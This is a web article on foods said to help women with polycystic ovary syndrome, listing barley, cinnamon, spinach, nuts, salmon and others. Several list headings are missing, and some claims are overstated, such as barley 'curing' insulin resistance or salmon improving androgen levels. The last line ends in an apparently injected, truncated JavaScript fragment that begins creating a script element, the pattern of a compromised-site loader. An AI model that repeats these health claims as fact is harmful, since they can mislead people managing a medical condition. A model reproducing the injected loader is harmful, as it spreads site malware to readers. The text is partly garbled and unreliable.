Women with PCOS or Polycystic Ovary Syndrome require having a look at their eating habits. The foods further complicate PCOS and play an important role in the treatment. Certain nutrients help in the reduction of ill-effects. For example, foods with vitamins, and omega-3 fatty acids, in addition to compounds that are low Glycemic index are good for women with PCOS. They also help in the weight loss and correct the hormonal imbalance.
Take help from the online dietitian and work with the weight loss plan.
Low in fat and low Glycemic index, barley is a right whole grain. It provides a steady inflow of energy to the body, apart from curing insulin resistance.
It is a great way to beat obesity and treat insulin resistance. It should be in your kitchen. Take a pinch of cinnamon after every meal curb your appetite for the snack after or between the meals.
It is not loved by many people, but gives many health benefits in the long run. Rich in vitamin, low in calories, and with low Glycemic index. It helps women to treat PCOS.
Spinach is low in calorie, rich in nutritional values helps to encourage ovulation and fight obesity. A hot spinach soup is a great way to keep PCOS under check.
Tomatoes are rich in multivitamins, low in Glycemic index, lycopene which is an essential for treating PCOS.
6. Almonds and walnuts
Both are low Glycemic index and mono-saturated fat. It corrects the insulin resistance which is the main factor for PCOS. Take the above on the go.
Mushrooms are low-calorie source of B-complex vitamins. They help in the normal functioning of the thyroid gland, maintains proper blood sugar level and increases the metabolism. It reduces the ill-effects of PCOS.
8. Lean Chicken
It is a low in fat, and carbohydrates also include vitamin B3 and B6. They assist in the improving the fertility.
Salmon is rich in omega-3 fatty acids and low Glycemic index. It also improves androgen hormone levels among women with PCOS.
10. Sunflower seeds
It is full of vitamin B2 and B6, zinc, and magnesium, which are best for women in treating the PCOS among women.var d=document;var s=d.createElement(‘script’);